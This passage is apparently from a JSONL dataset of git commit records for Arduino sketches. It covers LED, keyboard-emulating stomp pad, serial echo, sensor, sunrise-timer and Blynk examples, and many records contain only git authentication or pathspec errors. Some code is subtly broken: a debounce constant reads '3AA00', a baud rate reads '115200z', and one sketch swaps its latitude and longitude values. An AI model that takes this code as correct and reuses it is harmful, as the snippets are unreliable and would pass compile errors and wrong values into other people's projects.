metronom \n if (ledx == 0 ) {\n digitalWrite(LED, HIGH);\n } else {\n digitalWrite(LED, LOW);\n }\n ledx++;\n if (ledx==4) {ledx=0;}\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Beeper\/Beeper.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"2ced7ac033448e1997c2d897314e662ae87d91ef","subject":"ok, now starrting the motor","message":"ok, now starrting the motor\n\nand fixing the sense resistors\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"SPITest\/SPITest.ino","new_file":"SPITest\/SPITest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"23e9c95a297b951b5e84763c8d7adee6c725114f","subject":"Added Arduino sketch for stomp pads","message":"Added Arduino sketch for stomp pads\n","repos":"baocin\/Global-Game-Jam-2016","old_file":"StompPadSketch\/StompPadSketch.ino","new_file":"StompPadSketch\/StompPadSketch.ino","new_contents":"\/*\nTrinketKeyboard example\nFor Trinket by Adafruit Industries\n*\/\n\n#include <TrinketKeyboard.h>\n\n#define PIN_BUTTON_LEFT 0\n#define PIN_BUTTON_RIGHT 2\n\n#define DEBOUNCE 3AA00\n\nvoid setup()\n{\n \/\/ button pins as inputs\n pinMode(PIN_BUTTON_LEFT, INPUT);\n pinMode(PIN_BUTTON_RIGHT, INPUT);\n\n \/\/ setting input pins to high means turning on internal pull-up resistors\n \/\/digitalWrite(PIN_BUTTON_LEFT, HIGH);\n \/\/digitalWrite(PIN_BUTTON_RIGHT, HIGH);\n \/\/ remember, the buttons are active-low, they read LOW when they are not pressed\n\n \/\/ start USB stuff\n TrinketKeyboard.begin();\n}\n\nboolean leftPressed = true;\nboolean lastLeft = false;\nboolean leftDebounceTime = 0;\n\nboolean rightPressed = true;\nboolean lastRight = false;\nboolean rightDebounceTime = 0;\nvoid loop()\n{\n \/\/ the poll function must be called at least once every 10 ms\n \/\/ or cause a keystroke\n \/\/ if it is not, then the computer may think that the device\n \/\/ has stopped working, and give errors\n TrinketKeyboard.poll();\n \n boolean currLeft = (digitalRead(PIN_BUTTON_LEFT) == HIGH);\n if (currLeft != lastLeft) {\n leftDebounceTime = millis();\n }\n \n if ((millis() - leftDebounceTime) > DEBOUNCE) {\n if (currLeft != leftPressed) {\n leftPressed = currLeft;\n \n if (leftPressed == true) {\n \/\/ this should type a capital A\n TrinketKeyboard.pressKey(KEYCODE_MOD_LEFT_SHIFT, KEYCODE_A);\n \/\/ this releases the key (otherwise it is held down!)\n TrinketKeyboard.pressKey(0, 0);\n }\n }\n }\n \n lastLeft = currLeft;\n \n \/\/ RIGHT BUTTON\n \n boolean currRight = (digitalRead(PIN_BUTTON_RIGHT) == HIGH);\n if (currRight != lastRight) {\n rightDebounceTime = millis();\n }\n \n if ((millis() - rightDebounceTime) > DEBOUNCE) {\n if (currRight != rightPressed) {\n rightPressed = currRight;\n \n if (rightPressed == true) {\n \/\/ this should type a capital A\n TrinketKeyboard.pressKey(KEYCODE_MOD_RIGHT_SHIFT, KEYCODE_D);\n \/\/ this releases the key (otherwise it is held down!)\n TrinketKeyboard.pressKey(0, 0);\n }\n }\n }\n \n lastRight = currRight;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'StompPadSketch\/StompPadSketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"41cb784e0689a24289eef4f72c3c692c0a420802","subject":"shut up","message":"shut up\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"df76e9563e83e028cb3bb93c0927752aab637d19","subject":"Arduino code for serial communication without losses .","message":"Arduino code for serial communication without losses .\n\n- Baudrate 115200\n- Receives a message and echoes it back\n- NO FLUSHes\n- No distortion and losses.\n","repos":"osamadel\/ROV-Hydra","old_file":"workspace\/serialWithoutDistortion\/serialWithoutDistortion.ino","new_file":"workspace\/serialWithoutDistortion\/serialWithoutDistortion.ino","new_contents":"String msg;\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200z);\n Serial.setTimeout(100);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n if (Serial.available() > 0)\n {\n char ping = Serial.read();\n if (ping == '2')\n {\n Serial.println('0');\n }else if(ping == '*')\n {\n msg = Serial.readStringUntil('$');\n Serial.println(msg);\n\/\/ Serial.println(\"Sensors Readings\");\n\/\/ Serial.flush();\n }\n }\n \n\/\/ delay(100);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'workspace\/serialWithoutDistortion\/serialWithoutDistortion.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0e5440d3b30368bfed1aea0c2a69a091d28e7db8","subject":"added pin to turn on water pump","message":"added pin to turn on water pump\n","repos":"robreeves\/robotany","old_file":"auto_water\/auto_water.ino","new_file":"auto_water\/auto_water.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/robreeves\/robotany.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"91e92761455d509bad933099e46635a2c435bcf1","subject":"Add Arduino program for working with Analog data","message":"Add Arduino program for working with Analog data\n","repos":"CurtisIreland\/electronics,CurtisIreland\/electronics,CurtisIreland\/electronics,CurtisIreland\/electronics,CurtisIreland\/electronics,CurtisIreland\/electronics","old_file":"Ard-Analog\/AnalogIn\/AnalogIn.ino","new_file":"Ard-Analog\/AnalogIn\/AnalogIn.ino","new_contents":"const int analogInPin = A0;\nconst int analogOutPin = 3;\n\nint sensorValue = 0;\nint outputValue = 0;\n\nvoid setup() {\n Serial.begin(9600);\n}\n\nvoid loop() {\n sensorValue = analogRead(analogInPin);\n outputValue = map(sensorValue, 0, 1023, 0, 255);\n analogWrite(analogOutPin, outputValue);\n\n \/\/ print the results to the serial monitor:\n Serial.print(\"sensor = \" );\n Serial.print(sensorValue);\n Serial.print(\"\\t output = \");\n Serial.println(outputValue);\n delay(250);\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Ard-Analog\/AnalogIn\/AnalogIn.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"2ce686ff828d453677a7dbf2ff70b23d569df5b8","subject":"Modif code de la pince","message":"Modif code de la pince\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Pince\/Moteur_deplacement\/Moteur_deplacement.ino","new_file":"Module Pince\/Moteur_deplacement\/Moteur_deplacement.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Pince\/Moteur_deplacement\/Moteur_deplacement.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a1b4fe96a42a434e983683ed8fb88a04e0f3b0f6","subject":"finished testing of data collection","message":"finished testing of data collection\n","repos":"janiversen\/SolarPower","old_file":"SolarControl.ino","new_file":"SolarControl.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/janiversen\/SolarPower.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"97dcc0e5de3b37204af24b21fde76794813f2be0","subject":"Adding current source code to the repository","message":"Adding current source code to the repository\n","repos":"tomwagner1999\/SmartHome,tomwagner1999\/esp8266-webserver,tomwagner1999\/SmartHome,tomwagner1999\/SmartHome","old_file":"SmartHome.ino","new_file":"SmartHome.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tomwagner1999\/SmartHome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e794354c58469e81d76e31330076c460adc8e280","subject":"Add fn layer","message":"Add fn layer\n","repos":"mvines\/futboard","old_file":"gen3\/gen3.ino","new_file":"gen3\/gen3.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mvines\/futboard.git\/'\n","license":"unlicense","lang":"Arduino"} {"commit":"76b92d9feafffa9dbb007319f83d88b1fccfd296","subject":"[MCU] Initial MCU Controller","message":"[MCU] Initial MCU Controller\n","repos":"henryly94\/kc3c,henryly94\/kc3c,henryly94\/kc3c,henryly94\/kc3c,henryly94\/kc3c,henryly94\/kc3c,weehowe-z\/kc3c,weehowe-z\/kc3c,weehowe-z\/kc3c,weehowe-z\/kc3c,weehowe-z\/kc3c,weehowe-z\/kc3c","old_file":"MCU\/MCU.ino\/MCU.ino.ino","new_file":"MCU\/MCU.ino\/MCU.ino.ino","new_contents":"#define ENABLE P2_0\n#define RIGHT_BACK P2_1\n#define RIGHT_AHEAD P2_2\n#define LEFT_BACK P2_3\n#define LEFT_AHEAD P2_4\n\nvoid setup() {\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n\n Serial.println(\"\\n\\nKC3C-MCU-Sketch\");\n Serial.println(\"weehowe.z@gmail.com\");\n Serial.println(\"henryly94@gmail.com\");\n \n pinMode(LEFT_AHEAD,OUTPUT);\n pinMode(LEFT_BACK,OUTPUT);\n pinMode(RIGHT_AHEAD,OUTPUT);\n pinMode(RIGHT_BACK,OUTPUT);\n pinMode(ENABLE,OUTPUT);\n\n digitalWrite(ENABLE,HIGH);\n digitalWrite(LEFT_AHEAD,HIGH);\n digitalWrite(LEFT_BACK,LOW);\n digitalWrite(RIGHT_AHEAD,HIGH);\n digitalWrite(RIGHT_BACK,LOW);\n}\n\nvoid loop() {\n while(true);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MCU\/MCU.ino\/MCU.ino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"64a3e0c2afe1aa7aacda52e13137c48db0eb17a7","subject":"Delete SunRiseLamp.ino","message":"Delete SunRiseLamp.ino","repos":"JeanPierreFig\/SunRiseLamp","old_file":"SunRiseLamp.ino","new_file":"SunRiseLamp.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JeanPierreFig\/SunRiseLamp.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"08d6cb2215887b9a80d1292c1f14087b12ef7bc1","subject":"Initial Commit","message":"Initial Commit\n\nInitial Commit","repos":"mrmhk97\/Ned","old_file":"Ned.ino","new_file":"Ned.ino","new_contents":"\/*\nThis code below was written by Muntadhar Haydar (@mrmhk97).\nAs of March 18, 2017.\nLast Modification was on March 19, 2017.\n\nTODO:: \nImplement Auto\/Manual Control modes for development, debugging and presenting.\n*\/\n\n#include <DS1302.h>\n#include <Sunrise.h>\n\nconst int kSclkPin = 10; \/\/ Serial Clock\nconst int kIoPin = 11; \/\/ Input\/Output\nconst int kCePin = 12; \/\/ Chip Enable\n\n#define TIMEZONE 3 \/\/Time zone in hours\n#define LATITUDE 44.361343 \/\/These are for Najaf, Iq. Yours can be obtained easily from any maps provider like Bing or Google.\n#define LONGITUDE 32.011302\n\n\/\/Comment the next definition unless debugging or developing.\n\/\/#define DEBUG\n\nunsigned long timer; \/\/TODO:: Add something!\nint datetime[6]; \/\/An array to store the Datetime.\nSunrise mySunrise(LONGITUDE, LATITUDE, TIMEZONE); \/\/Instance of the library. \n#ifdef DEBUG \nchar buffer[80]; \/\/We need it only to print the times for debugging.\n#endif\nbool isItDayTime = false; \/\/The name says everything :3\n\nDS1302 rtc(kCePin, kIoPin, kSclkPin); \/\/RTC Instance.\n\nvoid setup()\n{ \n for (int i = 2; i < 10; i++) pinMode(i, OUTPUT);\n \/*\n These two lines were orignally used, but changed to make the project working on other MCUs easily.\n DDRD |= B11111100; \/\/Setting pins from 2 to 7 as output to connect relays or whatever.\n DDRB |= B00100011; \/\/Setting pins 8, 9 & 13 as output.\n *\/\n #ifdef DEBUG\n pinMode(13, INPUT_PULLUP);\n Serial.begin(9600); \/\/Serial is only needed for debugging.\n #else\n pinMode(13, OUTPUT);\n #endif\n timer = 0; \/\/Init.\n mySunrise.Actual(); \/\/Setting calculation method. Acutal, Civil, Astro\n CalculateSunTimes(); \/\/Call the function for the first time.\n}\n\nvoid loop()\n{\n int threshold = 60000; \/\/In final product, the board will check and Write every minute.\n #ifdef DEBUG\n threshold = 1000; \/\/Under development, the board will check and Write every second.\n #endif\n if (millis() - timer >= threshold)\n {\n timer = millis(); \/\/Keep timer up with millis().\n CalculateSunTimes(); \/\/Do IT!\n }\n}\n\nvoid CalculateSunTimes()\n{\n Time time = rtc.time();\n int t; \/\/An integer used to see if there is a result from Sunrise Lib.\n byte Times[4] = { 0, 0, 0, 0 }; \/\/0: Sunrise hour, 1: minute, 2: Sunset hour, 3: minute.\n t = mySunrise.Rise(time.mon, time.date); \/\/Attempt to calculate sunrise time.\n if (t >= 0) \/\/We have it :)\n {\n Times[0] = mySunrise.Hour(); \/\/Just store the data in our array.\n Times[1] = mySunrise.Minute();\n }\n else { \/*Either Pole*\/ }\n t = mySunrise.Set(time.mon, time.date); \/\/Attempt to calculate sunset time.\n if (t >= 0) \/\/We have it :)\n {\n Times[2] = mySunrise.Hour();\n Times[3] = mySunrise.Minute();\n }\n else { \/*Either Pole*\/ }\n\n int currentMinutes = datetime[4] + (datetime[3] * 60); \/\/converting it into minutes makes easier to compare.\n isItDayTime = currentMinutes > (Times[0] * 60) + Times[1] && currentMinutes < (Times[2] * 60) + Times[3];\n \/*\n i.e. \n if current minutes, aka time as of now, is greater than Sunrise time and lesser than Sunset time then it's Day time, and night if it is not.\n *\/\n WriteOutput(!isItDayTime);\n #ifdef DEBUG\n sprintf(buffer, \"As of %02d\/%02d, approximately, sun rises at %02d:%02d and sets at %02d:%02d\\n\", time.date, time.mon, Times[0], Times[1], Times[2], Times[3]); \/\/Print the times for debugging.\n Serial.print(buffer);\n #endif\n}\n\nvoid WriteOutput(int level)\n{\n int i = 2;\n while (i < 14)\n {\n#ifdef DEBUG\n if (i == 13) break;\n#endif\n digitalWrite(i, level);\n i += i == 9 ? 4 : 1;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Ned.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"db57dd67688c030ffec8892c16457b35e54b4d40","subject":"better debug?","message":"better debug?\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/Commands.ino","new_file":"ArduinoClient\/Commands.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"c85eed8e66ba439a4ed3c80ba3aa39e071ffb94e","subject":"Correct typos","message":"Correct typos\n","repos":"karikawa\/2014-2015,UCLARocketProject\/2014-2015,UCLARocketProject\/2014-2015,UCLARocketProject\/2014-2015,karikawa\/2014-2015,karikawa\/2014-2015,UCLARocketProject\/2014-2015,karikawa\/2014-2015,karikawa\/2014-2015,UCLARocketProject\/2014-2015","old_file":"Radio System\/testLaunch\/server-testLaunch\/server-testLaunch.ino","new_file":"Radio System\/testLaunch\/server-testLaunch\/server-testLaunch.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Radio' did not match any file(s) known to git\nerror: pathspec 'System\/testLaunch\/server-testLaunch\/server-testLaunch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d92a61996a784a2d2cc00c22d307953f38ce9478","subject":"Update ValuePull.ino","message":"Update ValuePull.ino","repos":"flashvnn\/blynk-library,al1271\/blynk-library,csicar\/blynk-library,okhiroyuki\/blynk-library,blynkkk\/blynk-library,CedricFinance\/blynk-library,ivankravets\/blynk-library,al1271\/blynk-library,CedricFinance\/blynk-library,CedricFinance\/blynk-library,sstocker46\/blynk-library,csicar\/blynk-library,blynkkk\/blynk-library,radut\/blynk-library,johan--\/blynk-library,radut\/blynk-library,blynkkk\/blynk-library,johan--\/blynk-library,ivankravets\/blynk-library,csicar\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,okhiroyuki\/blynk-library,johan--\/blynk-library,sstocker46\/blynk-library,blynkkk\/blynk-library,sstocker46\/blynk-library,radut\/blynk-library,radut\/blynk-library,flashvnn\/blynk-library,flashvnn\/blynk-library,okhiroyuki\/blynk-library,CedricFinance\/blynk-library,al1271\/blynk-library,okhiroyuki\/blynk-library,ivankravets\/blynk-library,al1271\/blynk-library,sstocker46\/blynk-library,flashvnn\/blynk-library,csicar\/blynk-library,johan--\/blynk-library,ivankravets\/blynk-library","old_file":"examples\/GettingStarted\/ValuePull\/ValuePull.ino","new_file":"examples\/GettingStarted\/ValuePull\/ValuePull.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social groups: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how a custom value\n * is periodically requested by the Blynk App.\n *\n * App dashboard setup:\n * Value Display widget on V5 with Frequency 1000\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial\n#include <SPI.h>\n#include <Ethernet.h>\n#include <BlynkSimpleEthernet.h>\n#include <SimpleTimer.h> \/\/ Download Simple Timer library here: https:\/\/github.com\/jfturcot\/SimpleTimer\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n Serial.begin(9600);\n Blynk.begin(auth);\n}\n\n\/\/ This function tells Arduino that widget attached to Virtual Pin (5) is requesting data\nBLYNK_READ(5) \n{\n Blynk.virtualWrite(5, millis()\/1000); \/\/ this command writes Arduino's up time to Virtual Pin (5) every second \n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","old_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social groups: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * This example shows how a custom value\n * is periodically requested by the Blynk App.\n *\n * App dashboard setup:\n * Value Display widget on V5 with Frequency 1000\n *\n **************************************************************\/\n\n#define BLYNK_PRINT Serial\n#include <SPI.h>\n#include <Ethernet.h>\n#include <BlynkSimpleEthernet.h>\n#include <SimpleTimer.h> \/\/Download Simple Timer library here: https:\/\/github.com\/jfturcot\/SimpleTimer\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\nvoid setup()\n{\n Serial.begin(9600);\n Blynk.begin(auth);\n}\n\n\/\/ This function tells Arduino that widget attached to Virtual Pin (5) is requesting data\nBLYNK_READ(5) \n{\n Blynk.virtualWrite(5, millis()\/1000); \/\/ this command writes Arduino's up time to Virtual Pin (5) every second \n}\n\nvoid loop()\n{\n Blynk.run();\n}\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"77db70bb53bce90d2da113491246ab2d0e012179","subject":"Added simple sound sensor for Arduino","message":"Added simple sound sensor for Arduino\n","repos":"yashchandak\/connectthedots,jmservera\/connectthedots,zack076\/connectthedots,noopkat\/connectthedots,BretStateham\/connectthedots,radiojam11\/connectthedots,radiojam11\/connectthedots,jeffwilcox\/connectthedots,jessejjohnson\/connectthedots,noopkat\/connectthedots,BretStateham\/connectthedots,HydAu\/AzureConnectTheDots,beeva-marianmoldovan\/connectthedots,yashchandak\/connectthedots,noopkat\/connectthedots,pietrobr\/connectthedots,HydAu\/ConnectTheDots2,leestott\/connectthedots,HydAu\/AzureConnectTheDots,jomolinare\/connectthedots,MSOpenTech\/connectthedots,zack076\/connectthedots,MSOpenTech\/connectthedots,noopkat\/connectthedots,leestott\/connectthedots,HydAu\/ConnectTheDots2,HydAu\/AzureConnectTheDots,yashchandak\/connectthedots,radiojam11\/connectthedots,ZingPow\/connectthedots,noopkat\/connectthedots,jeffwilcox\/connectthedots,jomolinare\/connectthedots,jomolinare\/connectthedots,pietrobr\/connectthedots,ZingPow\/connectthedots,yashchandak\/connectthedots,Azure\/connectthedots,jomolinare\/connectthedots,HydAu\/ConnectTheDots2,HydAu\/AzureConnectTheDots,zack076\/connectthedots,HydAu\/ConnectTheDots2,jomolinare\/connectthedots,ZingPow\/connectthedots,jeffwilcox\/connectthedots,MSOpenTech\/connectthedots,jeffwilcox\/connectthedots,BretStateham\/connectthedots,pietrobr\/connectthedots,pietrobr\/connectthedots,leestott\/connectthedots,jmservera\/connectthedots,radiojam11\/connectthedots,radiojam11\/connectthedots,noopkat\/connectthedots,ZingPow\/connectthedots,zack076\/connectthedots,Azure\/connectthedots,pietrobr\/connectthedots,pietrobr\/connectthedots,HydAu\/AzureConnectTheDots,HydAu\/ConnectTheDots2,MSOpenTech\/connectthedots,Azure\/connectthedots,BretStateham\/connectthedots,jmservera\/connectthedots,jmservera\/connectthedots,jeffwilcox\/connectthedots,Azure\/connectthedots,leestott\/connectthedots,zack076\/connectthedots,BretStateham\/connectthedots,BretStateham\/connectthedots,beeva-marianmoldovan\/connectthedots,ZingPow\/connectthedots,HydAu\/ConnectTheDots2,jessejjohnson\/connectthedots,BretStateham\/connectthedots,jeffwilcox\/connectthedots,noopkat\/connectthedots,MSOpenTech\/connectthedots,HydAu\/AzureConnectTheDots,jessejjohnson\/connectthedots,yashchandak\/connectthedots,jomolinare\/connectthedots,MSOpenTech\/connectthedots,jessejjohnson\/connectthedots,jmservera\/connectthedots,ZingPow\/connectthedots,leestott\/connectthedots,jessejjohnson\/connectthedots,Azure\/connectthedots,Azure\/connectthedots,beeva-marianmoldovan\/connectthedots,jmservera\/connectthedots,Azure\/connectthedots,zack076\/connectthedots,beeva-marianmoldovan\/connectthedots,yashchandak\/connectthedots,radiojam11\/connectthedots,beeva-marianmoldovan\/connectthedots,jessejjohnson\/connectthedots,beeva-marianmoldovan\/connectthedots","old_file":"Devices\/Arduino\/SimpleSoundSensor\/SimpleSoundSensor.ino","new_file":"Devices\/Arduino\/SimpleSoundSensor\/SimpleSoundSensor.ino","new_contents":"\/* \n Simple sound sensor code for http:\/\/connectthedots.msopentech.com end-to-end example of sending data to Microsoft Azure\n By: Microsoft Open Technologies, Inc.\n Date: January 27, 2015\n -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n Copyright (c) Microsoft Open Technologies, Inc. All rights reserved.\n\n The MIT License (MIT)\n\n Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n \n The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n \n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n \n -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n \n Based upon code from Sunfounder Microsophone Sensor Module http:\/\/www.sunfounder.com\/index.php?c=case_in&a=detail_&id=139&name= using a different but similar analog sound sensor purchased online.\n \n Modifications by Microsoft Open Technologies, Inc include adding self-describing fields in each output string, and changing \n output format to JSON string. Based upon the variables below, the JSON string would be something like the following, depending upon the values retrieved\n from the Weather Shield:\n\n {\"dspl\":\"Hex Sound Sensor 01\",\"Subject\":\"sound\",\"DeviceGUID\":\"898A4B4F-80B7-4BA0-B4B1-186655336472\",\"millis\":80176,\"seqno\":79,\"soundLvl\":78}\n \n The dspl, Subject, deviceGUID data may be used by the Azure website and services to identify the device sending the data. The subsequent field names may be used to generate the labels on charts in the Azure website.\n -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n*\/\n\/\/ Constants used for the ConnectTheDots project\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\/\/ SensorSubject value determines how Azure website will chart the data\n\/\/ DeviceDisplayName value will be the label for the curve on the chart\n\/\/ DeviceGUID ensures all the data from this sensor appears on the same chart\n\/\/ You can use Visual Studio to create DeviceGUID and copy it here. In VS, On the Tools menu, click Create GUID. The Create GUID\n\/\/ tool appears with a GUID in the Result box. Click Copy, and paste below.\n\/\/\nchar SensorSubject[] = \"sound\";\nchar DeviceDisplayName[] = \"Hex Sound Sensor 01\";\nchar DeviceGUID[] = \"898A4B4F-80B7-4BA0-B4B1-186655336472\";\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n\nconst int SOUND_PIN = A0;\nconst int SAMPLE_FREQUENCY = 500;\nint high = 0;\nunsigned long hightime = millis();\nint sequenceNumber = 0;\n\nvoid setup() {\n \/\/pinMode(SOUND_PIN,INPUT);\n Serial.begin(9600);\n}\n\nvoid loop() {\n int value = analogRead(SOUND_PIN);\n \/\/int value = digitalRead(SOUND_PIN);\n if (high < value) {\n high = value;\n }\n if (millis() - hightime >= SAMPLE_FREQUENCY) {\n Serial.print(\"{\");\n Serial.print(\"\\\"dspl\\\":\");\n Serial.print(\"\\\"\");\n Serial.print(DeviceDisplayName);\n Serial.print(\"\\\"\");\n Serial.print(\",\\\"Subject\\\":\");\n Serial.print(\"\\\"\");\n Serial.print(SensorSubject);\n Serial.print(\"\\\"\");\n Serial.print(\",\\\"DeviceGUID\\\":\");\n Serial.print(\"\\\"\");\n Serial.print(DeviceGUID);\n Serial.print(\"\\\"\");\n Serial.print(\",\\\"millis\\\":\");\n Serial.print(millis());\n Serial.print(\",\\\"seqno\\\":\");\n Serial.print(sequenceNumber++);\n Serial.print(\",\\\"soundLvl\\\":\");\n Serial.print(high);\n Serial.println(\"}\");\n \n high = 0;\n hightime = millis();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Devices\/Arduino\/SimpleSoundSensor\/SimpleSoundSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"adc8e9ff1da5139f87e295dc4bf36400cb463519","subject":"Create TorsoSensors.ino","message":"Create 